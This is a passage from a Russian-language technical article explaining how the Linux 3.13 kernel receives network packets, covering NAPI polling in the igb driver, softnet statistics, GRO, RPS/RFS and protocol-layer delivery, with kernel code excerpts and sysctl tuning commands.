Затем исполнение передаётся ярлыку (label) out. Оно может быть передано out и в том случае, если больше не осталось NAPI-структур для обработки, то есть бюджета больше, чем сетевой активности, все драйверы закрыли NAPI, а net\_rx\_action нечем заняться.
Прежде чем выполнить возврат из net\_rx\_action, в секции out делается важная вещь: вызывается net\_rps\_action\_and\_irq\_enable. Если включено управление принимаемыми пакетами ([Receive Packet Steering](https://lwn.net/Articles/362339/)), то эта функция пробуждает удалённые CPU, чтобы они начали обрабатывать сетевые данные.
Ниже мы разберём работу RPS. А пока посмотрим, как мониторить корректность цикла обработки net\_rx\_action, и перейдём к «внутренностям» NAPI-функций poll, продвигаясь по сетевому стеку.
#### NAPI-функция poll
Напомню, что драйверы выделяют область памяти, в которую устройство может напрямую отправлять входящие пакеты. Драйвер отвечает не только за выделение памяти, но и за их освобождение, сбор данных и их отправку в сетевой стек.
Как драйвер igb всё это делает?
#### igb\_poll
Наконец-то мы можем проанализировать работу igb\_poll. Её код обманчиво прост. Взято из [drivers/net/ethernet/intel/igb/igb\_main.c](https://github.com/torvalds/linux/blob/v3.13/drivers/net/ethernet/intel/igb/igb_main.c#L5987-L6018):
```
/**
* igb_poll – NAPI Rx polling callback
* @napi: структура опроса (polling) NAPI
* @budget: счётчик количества пакетов, которые нужно обработать
**/
static int igb_poll(struct napi_struct *napi, int budget)
{
struct igb_q_vector *q_vector = container_of(napi,
struct igb_q_vector,
napi);
bool clean_complete = true;
#ifdef CONFIG_IGB_DCA
if (q_vector->adapter->flags & IGB_FLAG_DCA_ENABLED)
igb_update_dca(q_vector);
#endif
/* ... */
if (q_vector->rx.ring)
clean_complete &= igb_clean_rx_irq(q_vector, budget);
/* Если вся работа не завершена, бюджета возвращается и продолжается опрос */
if (!clean_complete)
return budget;
/* Если выполнено недостаточно работы по приёму, выходит из режима опроса */
napi_complete(napi);
igb_ring_irq_enable(q_vector);
return 0;
}
```
Здесь есть ряд интересных вещей:
* Если в ядре включена поддержка прямого доступа к кэшу ([Direct Cache Access (DCA)](https://lwn.net/Articles/247493/)), то кэш CPU «прогревается», чтобы в него попадали обращения к RX-кольцу. Подробнее об этом можно почитать в главе с доп. материалами в конце статьи.
* Затем вызывается функция igb\_clean\_rx\_irq, выполняющая нелёгкую задачу. Об этом ниже.
* Далее проверяется clean\_complete, чтобы определить, осталась ли ещё работа, которую можно выполнить. Если да, то бюджет возвращается (жёстко прописано значение 64). net\_rx\_action перемещает NAPI-структуру в конец списка poll.
* В противном случае драйвер выключит NAPI посредством вызова napi\_complete, и с помощью igb\_ring\_irq\_enable снова включит прерывания. Следующее пришедшее прерывание опять включит NAPI.
Давайте посмотрим, как igb\_clean\_rx\_irq отправляет сетевые данные вверх по стеку.
#### igb\_clean\_rx\_irq
Функция igb\_clean\_rx\_irq — это цикл, обрабатывающая по одному пакету за раз, пока не кончится budget или данные для обработки.
В этом цикле выполняются следующие вещи:
1. В памяти размещаются дополнительные буферы приёма данных, на случай очистки используемых буферов. Они добавляются по IGB\_RX\_BUFFER\_WRITE (16) за раз.
2. Из очереди приёма извлекается буфер и сохраняется в структуре skb.
3. Проверяется, является буфер “End of Packet”. Если да, то обработка продолжается. В противном случае продолжается извлечение дополнительных буферов из очереди приёма и добавление в skb. Это необходимо на тот случай, если полученный фрейм превышает размер буфера.
4. Проверяется корректность схемы (layout) и заголовков данных.
5. С помощью skb->len увеличивается счётчик количества обработанных байтов.
6. В skb настраиваются хэш, контрольная сумма, временная метка, VLAN id и поля протокола. Первые четыре позиции предоставляются сетевой картой. Если она сообщает об ошибке контрольной суммы, то инкрементируется csum\_error. Если с контрольной суммой всё в порядке, а данные получены по UDP или TCP, то skb помечается как CHECKSUM\_UNNECESSARY. Если возникает сбой контрольной суммы, то с пакетом разбираются стеки протоколов. Нужный протокол вычисляется с помощью вызова eth\_type\_trans и сохраняется в структуре skb.
7. Сделанный skb передаётся вверх по сетевому стеку с помощью вызова napi\_gro\_receive.
8. Инкрементируется счётчик количества обработанных пакетов.
9. Цикл продолжает выполняться до тех пор, пока количество обработанных пакетов не исчерпает бюджет.
Когда цикл прерывается, функция записывает счётчики обработанных пакетов и байтов.
Прежде чем продолжить рассмотрение сетевого стека, сделаем пару отступлений. Во-первых, посмотрим, как мониторить и настраиваться SoftIRQ сетевой подсистемы. Во-вторых, поговорим о Generic Receive Offloading (GRO). После того, как мы вникнем в napi\_gro\_receive, нам будет понятнее работа остальной части сетевого стека.
#### Мониторинг обработки сетевых данных
#### /proc/net/softnet\_stat
Как мы видели в предыдущей главе, статистические счётчики инкрементируются при выходе из цикла net\_rx\_action, либо если осталась работа, которая могла быть выполнена, но мы упёрлись в ограничение бюджета или времени для SoftIRQ. Эта статистика отслеживается как часть структуры struct softnet\_data, ассоциированной с CPU. Она сбрасывается в файл /proc/net/softnet\_stat, по которому, к сожалению, очень мало документации. Поля не проименованы и могут меняться в зависимости от версии ядра.
В Linux 3.13.0 можно выяснить, какие значения соответствуют каким полям в /proc/net/softnet\_stat посредством чтения исходников ядра. Взято из [net/core/net-procfs.c](https://github.com/torvalds/linux/blob/v3.13/net/core/net-procfs.c#L161-L165):
```
seq_printf(seq,
"%08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x\n",
sd->processed, sd->dropped, sd->time_squeeze, 0,
0, 0, 0, 0, /* was fastroute */
sd->cpu_collision, sd->received_rps, flow_limit_count);
```
Многие из этих счётчиков имеют странные имена и инкрементируются в неожиданных местах. Только изучив сетевой стек можно понять, когда и где инкрементируется каждый из них. Поскольку статистика squeeze\_time встречалась в net\_rx\_action, мне кажется, есть смысла задокументировать сейчас этот файл.
Читаем /proc/net/softnet\_stat, чтобы мониторить статистику обработки сетевых данных:
```
$ cat /proc/net/softnet_stat
6dcad223 00000000 00000001 00000000 00000000 00000000 00000000 00000000 00000000 00000000
6f0e1565 00000000 00000002 00000000 00000000 00000000 00000000 00000000 00000000 00000000
660774ec 00000000 00000003 00000000 00000000 00000000 00000000 00000000 00000000 00000000
61c99331 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
6794b1b3 00000000 00000005 00000000 00000000 00000000 00000000 00000000 00000000 00000000
6488cb92 00000000 00000001 00000000 00000000 00000000 00000000 00000000 00000000 00000000
```
Важные подробности относительно /proc/net/softnet\_stat:
* Каждая строка /proc/net/softnet\_stat соответствует структуре struct softnet\_data, по одной на каждый CPU.
* Значения разделены одиночными пробелами и отображаются в шестнадцатеричной форме.
* Первое значение, sd->processed, — это количество обработанных сетевых фреймов. Оно может превышать общее количество полученных фреймов, если вы используете связывание Ethernet (Ethernet bonding). Драйвер связывания может стать причиной повторной обработки данных, и тогда счётчик sd->processed для одного и того же пакета будет инкрементироваться больше одного раза.
* Второе значение, sd->dropped, — это количество отброшенных сетевых фреймов по причине нехватки места в очереди обработки. Об этом поговорим ниже.
* Третье значение, sd->time\_squeeze, — это количество раз, когда цикл net\_rx\_action прерывался из-за истощения бюджета или достижения ограничения по времени, хотя работа ещё оставалась. Как объяснялось выше, помочь тут может увеличение budget.
* Следующие пять значений всегда равны 0.
* Девятое значение, sd->cpu\_collision, — это количество коллизий, возникавших при попытках получения блокировки устройства в ходе передачи пакетов. Поскольку эта статья посвящена приёму пакетов, то мы эту статистику рассматривать не будем.
* Десятое значение, sd->received\_rps, — это количество раз, когда посредством [межпроцессорного прерывания](https://en.wikipedia.org/wiki/Inter-processor_interrupt) будили CPU для обработки пакетов.
* Последнее значение, flow\_limit\_count, — это количество раз, когда было достигнуто ограничение потока (flow limit). Ограничение потока — это опциональная возможность управления принимаемыми пакетами ([Receive Packet Steering](https://lwn.net/Articles/362339)), которую мы скоро рассмотрим.
Если вы решили мониторить этот файл и отображать результаты графически, то будьте крайне осторожны, чтобы не поменять порядок полей и сохранить их смысл. Для этого ознакомьтесь с исходниками ядра.
#### Настройка обработки сетевых данных
#### Настройка бюджета net\_rx\_action
Настройка бюджета net\_rx\_action позволяет определять, сколько можно потратить на обработку пакетов для всех NAPI-структур, зарегистрированных на CPU. Для этого нужно с помощью sysctl настроить значение net.core.netdev\_budget.
Пример: присвоим общему бюджету обработки пакетов значение 600.
```
$ sudo sysctl -w net.core.netdev_budget=600
```
Ещё эту настройку можно записать в файл /etc/sysctl.conf так, чтобы изменение сохранялось после перезагрузки. В Linux 3.13.0 значение по умолчанию 300.
#### Механизм Generic Receive Offloading (GRO)
Generic Receive Offloading (GRO) — это программная реализация аппаратной оптимизации, известной как [Large Receive Offloading](https://en.wikipedia.org/wiki/Large_receive_offload) (LRO).
Суть обоих механизмов в том, чтобы уменьшить количество пакетов, передаваемых по сетевому стеку, за счёт комбинирования «достаточно похожих» пакетов. Это позволяет снизить нагрузку на CPU. Представим, что у нас передаётся большой файл, и большинство пакетов содержат чанки данных из этого файла. Вместо отправки по стеку маленьких пакетов по одному, входящие пакеты можно комбинировать в один, с огромной полезной нагрузкой. А затем уже передавать его по стеку. Таким образом уровни протоколов обрабатывают заголовки одного пакета, при этом передавая пользовательской программе более крупные чанки.
Но этой оптимизации присуща проблема потери информации. Если какой-то пакет имеет настроенную важную опцию или флаг, то эта опция или флаг могут быть потеряны при объединении с другими пакетами. В целом реализации LRO имеют очень нестрогие правила объединения пакетов.
GRO является программной реализацией LRO, но с более строгими правилами объединения.
Кстати: если вы когда-то использовали tcpdump и встречали слишком большие размеры входящих пакетов, то это наверняка было связано с включённой GRO в вашей системе. Как мы скоро увидим, tap'ы захвата пакетов вставлены дальше по стеку, уже после GRO.
#### Настройка параметров GRO с помощью ethtool
ethtool можно использовать для проверки, включена ли GRO, а также для её настройки.
Проверка настроек:
```
$ ethtool -k eth0 | grep generic-receive-offload
generic-receive-offload: on
```
В данном случае включена generic-receive-offload. Включаем GRO:
```
$ sudo ethtool -K eth0 gro on
```
**Примечание:** у большинства драйверов такие изменения приведут к падению и перезагрузке интерфейса, потому что подключения к нему будут прерваны. Хотя при однократном изменении это не слишком важно.
#### napi\_gro\_receive
Функция napi\_gro\_receive занимается обработкой сетевых данных для GRO (если GRO включена) и отправкой их по стеку на уровни протоколов. Большая часть логики находится в функции dev\_gro\_receive.
#### dev\_gro\_receive
Эта функция сначала проверяет, включена ли GRO. Если да, то готовится к её применению: проходит по списку offload-фильтров, чтобы высокоуровневые стеки протоколов могли работать с данными, предназначенными для GRO. Это нужно для того, чтобы уровни протоколов могли сообщать уровню сетевого устройства, является ли пакет частью [сетевого потока](https://en.wikipedia.org/wiki/Traffic_flow_%28computer_networking%29), который в данный момент свободен, а также могли обрабатывать всё относящееся к протоколу, что должно произойти в рамках GRO. Например, TCP-протоколу нужно решить, можно ли/когда подтверждать объединение пакета с уже имеющимся.
Вот пример кода, который это делает, взятый из [net/core/dev.c](https://github.com/torvalds/linux/blob/v3.13/net/core/dev.c#L3844-L3856):
```
list_for_each_entry_rcu(ptype, head, list) {
if (ptype->type != type || !ptype->callbacks.gro_receive)
continue;
skb_set_network_header(skb, skb_gro_offset(skb));
skb_reset_mac_len(skb);
NAPI_GRO_CB(skb)->same_flow = 0;
NAPI_GRO_CB(skb)->flush = 0;
NAPI_GRO_CB(skb)->free = 0;
pp = ptype->callbacks.gro_receive(&napi->gro_list, skb);
break;
}
```
Если уровни протоколов сообщают, что пришло время сбросить GRO-пакет, то далее выполняется эта процедура. В этом случае вызывается napi\_gro\_complete, которая вызывает callback gro\_complete для уровней протоколов, а затем передаёт пакет по стеку посредством вызова netif\_receive\_skb.
Пример кода из [net/core/dev.c](https://github.com/torvalds/linux/blob/v3.13/net/core/dev.c#L3862-L3872):
```
if (pp) {
struct sk_buff *nskb = *pp;
*pp = nskb->next;
nskb->next = NULL;
napi_gro_complete(nskb);
napi->gro_count--;
}
```
Если уровни протоколов объединили этот пакет с имеющимся потоком, то napi\_gro\_receive посто возвращается.
Если пакет не было объединён и в системе меньше MAX\_GRO\_SKBS (8) GRO-потоков, то в список gro\_list NAPI-структуры данного CPU добавляется новая запись.
Пример кода из [net/core/dev.c](https://github.com/torvalds/linux/blob/v3.13/net/core/dev.c#L3877-L3886):
```
if (NAPI_GRO_CB(skb)->flush || napi->gro_count >= MAX_GRO_SKBS)
goto normal;
napi->gro_count++;
NAPI_GRO_CB(skb)->count = 1;
NAPI_GRO_CB(skb)->age = jiffies;
skb_shinfo(skb)->gso_size = skb_gro_len(skb);
skb->next = napi->gro_list;
napi->gro_list = skb;
ret = GRO_HELD;
```
Так работает система GRO в сетевом стеке Linux.
#### napi\_skb\_finish
По завершении dev\_gro\_receive вызывается napi\_skb\_finish, которая освобождает структуры данных, невостребованные по причине слияния пакета, либо для передачи данных по сетевому стеку вызывается netif\_receive\_skb (потому что GRO уже применена к потокам MAX\_GRO\_SKBS).
Теперь пришло время рассмотреть механизм управления принимаемыми пакетами (Receive Packet Steering (RPS)).
3.4. Механизм управления принимаемыми пакетами Receive Packet Steering (RPS)
----------------------------------------------------------------------------
Помните, выше мы обсуждали, как драйверы сетевых устройств регистрируют NAPI-функцию poll? Каждый экземпляр поллера NAPI исполняется в контексте SoftIRQ, по одному на каждый CPU. Теперь вспомним, что CPU, на котором выполняется драйверный обработчик прерываний, для обработки пакетов активирует SoftIRQ-цикл обработки.
Иными словами, в рамках обработки входящих данных одиночный CPU обрабатывает для пакетов прерывания и функции poll.
Некоторые сетевые карты (вроде Intel I350) на аппаратном уровне поддерживают несколько очередей. Это означает, что входящие пакеты могут напрямую отправляться в разные области памяти, выделенные для каждого очереди. При этом поллинг каждой области выполняется с помощью отдельных NAPI-структур. Так что прерывания и пакеты будут обрабатываться несколькими CPU.
Этот механизм называется Receive Side Scaling (RSS).
[Receive Packet Steering (RPS)](https://github.com/torvalds/linux/blob/v3.13/Documentation/networking/scaling.txt#L99-L222) — это программная реализация RSS. А раз реализовано в коде, то может быть применено для любой сетевой карты, даже если она имеет лишь одну очередь приёма. С другой стороны, программная природа приводит к тому, что RPS может входить в поток только после пакета, извлечённого из DMA-области памяти.
Это означает, что CPU не будет тратить меньше времени на обработку прерываний или цикла poll, но зато вы сможете распределять нагрузку по обработке пакетов после того, как они были собраны, и снижать продолжительность работы CPU в сетевом стеке.
RPS генерирует для входящих данных хэш, чтобы определить, какой CPU должен их обработать. Затем данные помещаются во входящую очередь (backlog) этого процессора в ожидании последующей обработки. В процессор с backlog передаётся [межпроцессорное прерывание](https://en.wikipedia.org/wiki/Inter-processor_interrupt) (IPI), инициирующее обработку очереди, если это ещё не делается. /proc/net/softnet\_stat содержит счётчик количества раз, когда каждая структура softnet\_data получала IPI (поле received\_rps).
Следовательно, netif\_receive\_skb продолжит отправлять данные по сетевому стеку или передаст в RPS для обработки другим CPU.
#### Включение RPS
Для начала нужно включить механизм RPS в конфигурации ядра (на Ubuntu верно для ядра 3.13.0), а также создать битовую маску, описывающую, какие CPU должны обрабатывать пакеты для конкретного интерфейса или очереди приёма.
Информацию об этих битовых масках можно найти в [документации к ядру](https://github.com/torvalds/linux/blob/v3.13/Documentation/networking/scaling.txt#L138-L164). Если вкратце, взять и модифицировать маски можно отсюда:
```
/sys/class/net/DEVICE_NAME/queues/QUEUE/rps_cpus
```
Например, для eth0 и очереди приёма 0 нужно внести в файл /sys/class/net/eth0/queues/rx-0/rps\_cpus шестнадцатеричное число, обозначающее, какой CPU должен обрабатывать пакеты из очереди 0 eth0. Как указано в [документации](https://github.com/torvalds/linux/blob/v3.13/Documentation/networking/scaling.txt#L160-L164), на определённых конфигурациях в RPS нет нужды.
**Примечание:** включение RPS для распределения обработки пакетов по CPU, которые раньше этого не делали, для каждого из этих CPU приведёт к увеличению количества SoftIRQ `NET\_RX`, а также `si` или `sitime` на графике потребления ресурсов CPU. Можете сравнить показатели «до» и «после», чтобы выяснить, соответствует ли конфигурация RPS вашим пожеланиям.
3.5. Механизм управления принимаемыми потоками (Receive Flow Steering (RFS))
----------------------------------------------------------------------------
Receive flow steering (RFS) используется совместно с RPS. RPS пытается распределять входящие пакеты среди нескольких CPU, но не принимает во внимание вопросы локальности данных для увеличения частоты попадания в кэш CPU. Если вам нужно увеличить эту частоту, то в этом поможет механизм RFS, переадресующий пакеты одного потока на один и тот же CPU.
#### Включение RFS
Чтобы RFS заработал, нужно его включить и сконфигурировать. RFS отслеживает глобальную хэш-таблицу всех потоков. Размер таблицы настраивается через sysctl параметром net.core.rps\_sock\_flow\_entries.
Увеличим размер хэша потоков в сокете RFS:
```
$ sudo sysctl -w net.core.rps_sock_flow_entries=32768
```
Теперь можно настроить количество потоков для каждой очереди приёма. Это делается в файле rps\_flow\_cnt для каждой очереди.
Пример: увеличим количество потоков до 2048 в eth0 для очереди 0:
```
$ sudo bash -c 'echo 2048 > /sys/class/net/eth0/queues/rx-0/rps_flow_cnt'
```
3.6. Аппаратно ускоренное управление принимаемыми потоками (Accelerated Receive Flow Steering (aRFS))
-----------------------------------------------------------------------------------------------------
Работу RFS можно аппаратно ускорять. Сетевая карта и ядро могут совместно определять, какой поток на каком CPU нужно обрабатывать. Эта функция должна поддерживаться картой и драйвером, сверьтесь со спецификацией. Если драйвер вашей карты предоставляет функцию ndo\_rx\_flow\_steer, значит он поддерживает aRFS.
#### Включение aRFS
Допустим, ваш драйвер поддерживает этот механизм. Порядок его включения и настройки:
1. Включаем и настраиваем RPS.
2. Включаем и настраиваем RFS.
3. В ходе компиляции ядра активируется CONFIG\_RFS\_ACCEL. В частности, в ядре Ubuntu 3.13.0.
4. Включаем для нашего устройства поддержку ntuple, как описано выше. Проверить, включена ли она, можно с помощью ethtool.
5. Настраиваем параметры IRQ чтобы удостовериться, что каждая очередь приёма обрабатывается одним из ваши CPU, занимающихся обработкой сетевых данных.
Когда всё это будет сделано, aRFS автоматически задействуется для перемещения данных в очередь приёма, закреплённую за ядром CPU, обрабатывающим данные из этого потока. Вам не нужно вручную прописывать правила фильтрации ntuple для каждого потока.
3.7. Повышение (moving up) сетевого стека с помощью netif\_receive\_skb
-----------------------------------------------------------------------
Вернёмся к тому месту, где мы оставили netif\_receive\_skb, вызываемую из нескольких мест. Чаще всего из двух (мы их уже рассмотрели):
* napi\_skb\_finish — если пакет не будет объединён с имеющимся GRO-потоком, ЛИБО
* napi\_gro\_complete — если уровни протоколов сигнализируют о том, что пора сбрасывать поток, ЛИБО
**Напоминаю:** netif\_receive\_skb и его потомки оперируют в контексте цикла обработки SoftIRQ. Инструменты вроде top учитывают затраченное здесь время как sitime или si.
netif\_receive\_skb сначала проверят значение sysctl чтобы определить, включено ли у пользователя присвоение временных меток при получении до или после того, как пакет попадает в backlog-очередь. Если эта настройка включена, то данным теперь присваиваются временные метки до того, как они подвергаются работе механизма RPS (и backlog-очереди, ассоциированной с CPU). Если эта настройка выключена, то данным присваиваются временные метки после попадания в очередь. При включённом RPS это можно использовать для распределения нагрузки по присваиванию меток среди нескольких CPU, но даст некоторую задержку.
#### Настройка: присваивание временных меток принимаемым пакетам
Порядок присваивания меток можно настраивать в sysctl посредством net.core.netdev\_tstamp\_prequeue.
Отключим присваивание меток принимаемым пакетам:
```
$ sudo sysctl -w net.core.netdev_tstamp_prequeue=0
```
По умолчанию значение равно 1. Значение этой настройки объяснено в предыдущей главе.
3.8. netif\_receive\_skb
------------------------
Разобравшись с временными метками, далее netif\_receive\_skb действует по разному, в зависимости от того, включён ли RPS. Начнём с более простого случая, когда RPS выключен.
#### Без RPS (по умолчанию)
В этом случае вызывается \_\_netif\_receive\_skb, которая регистрирует какие-то данные (bookkeeping), а затем вызывает \_\_netif\_receive\_skb\_core, чтобы та перенесла данные поближе к стекам протоколов.
Потом мы рассмотрим, как работает \_\_netif\_receive\_skb\_core, но сначала разберём работу кода со включённым RPS, поскольку в этом случае также вызывается \_\_netif\_receive\_skb\_core.
#### С включённым RPS
После работы с опциями присваивания временных меток, netif\_receive\_skb выполняет ряд вычислений чтобы определить, backlog-очередь какого CPU нужно использовать. Это делается с помощью функции get\_rps\_cpu. Взято из [net/core/dev.c](https://github.com/torvalds/linux/blob/v3.13/net/core/dev.c#L3699-L3705):
```
cpu = get_rps_cpu(skb->dev, skb, &rflow);
if (cpu >= 0) {
ret = enqueue_to_backlog(skb, cpu, &rflow->last_qtail);
rcu_read_unlock();
return ret;
}
```
get\_rps\_cpu также принимает во внимание настройки RFS и aRFS, чтобы удостовериться, что посредством вызова enqueue\_to\_backlog данные попадают в backlog нужного CPU.
#### enqueue\_to\_backlog
Эта функция сначала получает указатель на структуру softnet\_data удалённого CPU, содержащую указатель на input\_pkt\_queue. Затем проверяется длина очереди input\_pkt\_queue этого удалённого CPU. Взято из [net/core/dev.c](https://github.com/torvalds/linux/blob/v3.13/net/core/dev.c#L3199-L3200):
```
qlen = skb_queue_len(&sd->input_pkt_queue);
if (qlen <= netdev_max_backlog && !skb_flow_limit(skb, qlen)) {
```
Сначала длина очереди input\_pkt\_queue сравнивается с netdev\_max\_backlog. Если длина большего этого значения, то данные **отбрасываются**. Аналогично проверяется ограничение потока, и если оно достигнуто, то данные **отбрасываются**. В обоих случаях инкрементируется счётчик отбрасываний структуры softnet\_data. Обратите внимание, что это структура того CPU, в чью очередь должны были быть помещены данные. Мониторинг счётчика отбрасываний описан в главе о /proc/net/softnet\_stat.
enqueue\_to\_backlog вызывается при обработке пакетов с включённым RPS, а также из netif\_rx. Большинству драйверов следует использовать **не** netif\_rx, а netif\_receive\_skb. Если вы не применяете RPS и ваш драйвер не использует netif\_rx, то увеличение backlog’а не окажет на систему заметного влияния, поскольку он и не используется.
**Примечание:** проверьте используемый драйвер. Если он вызывает netif\_receive\_skb и вы **не** используете RPS, то увеличение netdev\_max\_backlog никак не повысит производительность, потому что никакие данные не доберутся до input\_pkt\_queue.
Допустим, что input\_pkt\_queue достаточно мала и ограничение потока не достигнуто (или отключено), а данные могут быть помещены в очередь. Логика здесь немного смешная, её можно обобщить так:
* Если очередь пустая: проверяется, запущен ли NAPI на удалённом CPU. Если нет, проверяется, находится ли в очереди на отправку IPI. Если нет, то IPI помещается в очередь, а посредством вызова \_\_\_\_napi\_schedule запускается цикл обработки NAPI. Переходим к передаче данных в очередь.
* Если очередь не пустая, либо если завершена предыдущая операция, данные передаются в очередь.
Из-за использования goto код довольно хитрый, так что читайте внимательно. Взято из [net/core/dev.c](https://github.com/torvalds/linux/blob/v3.13/net/core/dev.c#L3201-L3218):
```
if (skb_queue_len(&sd->input_pkt_queue)) {
enqueue:
__skb_queue_tail(&sd->input_pkt_queue, skb);
input_queue_tail_incr_save(sd, qtail);
rps_unlock(sd);
local_irq_restore(flags);
return NET_RX_SUCCESS;
}
/* Schedule NAPI for backlog device
* We can use non atomic operation since we own the queue lock
*/
if (!__test_and_set_bit(NAPI_STATE_SCHED, &sd->backlog.state)) {
if (!rps_ipi_queued(sd))
____napi_schedule(sd, &sd->backlog);
}
goto enqueue;
```
#### Ограничения потоков
RPS распределяет нагрузку по обработке пакетов между несколькими CPU, но один большой поток способен монополизировать время обработки и ущемлять более мелкие потоки. Ограничения потоков позволяют лимитировать количество пакетов от одного потока, помещаемых в backlog. В результате маленькие потоки могут обрабатываться параллельно с гораздо более крупными.
Выражение if из [net/core/dev.c](https://github.com/torvalds/linux/blob/v3.13/net/core/dev.c#L3199-L3200) посредством вызова skb\_flow\_limit проверяет ограничение потока:
```
if (qlen <= netdev_max_backlog && !skb_flow_limit(skb, qlen)) {
```
Здесь проверяется, есть ли ещё место в очереди и не достигнуто ли [ограничение](https://github.com/torvalds/linux/blob/v3.13/Documentation/networking/scaling.txt#L166-L188). По умолчанию ограничения отключены. Для их включения нужно задать битовую маску (аналогично RPS).
#### Мониторинг отбрасываний по причине заполнения input\_pkt\_queue или ограничения потока
См. главу о мониторинге /proc/net/softnet\_stat. Поле dropped — это счётчик, инкрементируемый при каждом отбрасывании данных вместо их помещения в очередь input\_pkt\_queue CPU.
#### Настройка
#### Настройка netdev\_max\_backlog для предотвращения отбрасываний
Прежде чем настраивать это значение, прочитайте примечание в предыдущей главе.
Если вы используете RPS или ваш драйвер вызывает netif\_rx, то можно помочь предотвращать отбрасывания в enqueue\_to\_backlog с помощью увеличения netdev\_max\_backlog.
Пример: увеличим backlog до 3000:
```
$ sudo sysctl -w net.core.netdev_max_backlog=3000
```
По умолчанию значение равно 1000.
#### Настройка веса NAPI в backlog цикла poll
Настроить вес поллера NAPI в backlog’е можно с помощью net.core.dev\_weight sysctl. Это значение определяет, какую часть общего бюджета может потратить цикл poll backlog'а (см. главу о настройке net.core.netdev\_budget).
Пример: увеличим в backlog’е цикл обработки poll:
```
$ sudo sysctl -w net.core.dev_weight=600
```
По умолчанию значение равно 64.
Помните, что обработка backlog’а выполняется в контексте SoftIRQ аналогично зарегистрированной на драйвер устройства функции poll. Она будет ограничена общим бюджетом и временным ограничением, как описано в предыдущей главе.
#### Включение ограничений потоков и настройка размера хэш-таблицы ограничений потоков
Настроим размер таблицы ограничений потоков:
```
$ sudo sysctl -w net.core.flow_limit_table_len=8192
```
По умолчанию значение равно 4096.
Это изменение влияет только на заново размещённые таблицы. Так что сначала настройте размер таблицы, а потом включайте ограничения потоков.
Для включения ограничений нужно задать битовую маску в /proc/sys/net/core/flow\_limit\_cpu\_bitmap, аналогично маске RPS, которая показывает, на каких CPU включены ограничения потоков.
#### Поллер NAPI backlog-очереди
Backlog-очереди каждого CPU используют NAPI так же, как и драйвер устройства. Предоставляется функция poll, используемая для обработки пакетов из контекста SoftIRQ. Как и в случае с драйвером, здесь тоже применяется weight.
Структура NAPI предоставляется в ходе инициализации сетевой подсистемы.
Взято из net\_dev\_init в [net/core/dev.c](https://github.com/torvalds/linux/blob/v3.13/net/core/dev.c#L6952-L6955):
```
sd->backlog.poll = process_backlog;
sd->backlog.weight = weight_p;
sd->backlog.gro_list = NULL;
sd->backlog.gro_count = 0;
```
NAPI-cтруктура backlog'а отличается от структуры драйвера возможностью настройки параметра weight: у драйвера его значение жёстко закодировано. Дальше мы рассмотрим процесс настройки веса.
#### process\_backlog
Функция process\_backlog — это цикл, выполняемый до тех пор, пока его вес (как описано в предыдущей главе) не будет израсходован или пока в backlog’е не останется больше данных.
Данные вынимаются по частям из backlog-очереди и передаются в \_\_netif\_receive\_skb. Ветвь кода будет такой же, как и в случае с отключённым RPS. А именно, \_\_netif\_receive\_skb выполняет те же процедуры перед вызовом \_\_netif\_receive\_skb\_core, чтобы передать данные на уровни протоколов.
process\_backlog соблюдает тот же договор с NAPI, что и драйверы устройства: NAPI отключается, если не расходуется весь вес. Поллер перезапускается посредством вызова \_\_\_\_napi\_schedule из enqueue\_to\_backlog, как описано выше.
Функция возвращает выполненную работу, которую затем net\_rx\_action (описано выше) вычтет из бюджета (настраивается с помощью net.core.netdev\_budget, описано выше).
#### \_\_netif\_receive\_skb\_core передаёт данные в packet taps и на уровни протоколов
\_\_netif\_receive\_skb\_core выполняет трудную рабту по передаче данных в стеки протоколов. Перед этим она сначала проверяет, установлены ли какие-нибудь packet taps, которые ловят все входящие пакеты. Пример – семейство адресов AF\_PACKET, обычно используемое посредством библиотеки [libpcap](http://www.tcpdump.org/manpages/pcap.3pcap.html).
Если имеется такой tap, до данные передаются сначала туда, а затем на уровни протоколов.
#### Передача в packet tap
Передачу пакетов выполняет следующий код. Взято из [net/core/dev.c](https://github.com/torvalds/linux/blob/v3.13/net/core/dev.c#L3548-L3554):
```
list_for_each_entry_rcu(ptype, &ptype_all, list) {
if (!ptype->dev || ptype->dev == skb->dev) {
if (pt_prev)
ret = deliver_skb(skb, pt_prev, orig_dev);
pt_prev = ptype;
}
}
```
Если вам интересно, как данные проходят через pcap, читайте [net/packet/af\_packet.c](https://github.com/torvalds/linux/blob/v3.13/net/packet/af_packet.c).
#### Передача на уровни протоколов
После того, как тапы будут удовлетворены, \_\_netif\_receive\_skb\_core передаёт данные на уровни протоколов. Для этого из данных извлекается поле протокола и выполняется итерирование по списку передающих функций (deliver functions), зарегистрированных для этого типа протокола.
Это можно посмотреть в \_\_netif\_receive\_skb\_core в [net/core/dev.c](https://github.com/torvalds/linux/blob/v3.13/net/core/dev.c#L3548-L3554):
```
type = skb->protocol;
list_for_each_entry_rcu(ptype,
&ptype_base[ntohs(type) & PTYPE_HASH_MASK], list) {
if (ptype->type == type &&
(ptype->dev == null_or_dev || ptype->dev == skb->dev ||
ptype->dev == orig_dev)) {
if (pt_prev)
ret = deliver_skb(skb, pt_prev, orig_dev);
pt_prev = ptype;
}
}
```
Здесь идентификатор ptype\_base определён как хэш-таблица списка в [net/core/dev.c](https://github.com/torvalds/linux/blob/v3.13/net/core/dev.c#L146):
```
struct list_head ptype_base[PTYPE_HASH_SIZE] __read_mostly;
```
Каждый уровень протокола добавляет фильтр в список заданного слота хэш-таблицы, вычисляемой вспомогательной функцией ptype\_head:
```
static inline struct list_head *ptype_head(const struct packet_type *pt)
{
if (pt->type == htons(ETH_P_ALL))
return &ptype_all;
else
return &ptype_base[ntohs(pt->type) & PTYPE_HASH_MASK];
}
```
Добавление фильтра в список завершается вызовом dev\_add\_pack. Таким способом уровни протоколов регистрируют себя для передачи им данных.
Теперь вы знаете, как сетевые данные попадают из сетевой карты на уровень протокола.
3.9. Регистрация уровня протокола
---------------------------------
Давайте рассмотрим, как уровни протоколов регистрируют сами себя. В этой статье мы ограничимся стеком протокола IP, поскольку он крайне широко используется и будет понятен большинству читателей.
#### Уровень протокола IP
Уровень протокола IP сам включает себя в хэш-таблицу ptype\_base, и в предыдущих главах мы уже рассматривали данные, которые предаются на этот уровень с уровня сетевого устройства.
Это происходит в функции inet\_init, взято из [net/ipv4/af\_inet.c](https://github.com/torvalds/linux/blob/v3.13/net/ipv4/af_inet.c#L1788):
```
dev_add_pack(&ip_packet_type);
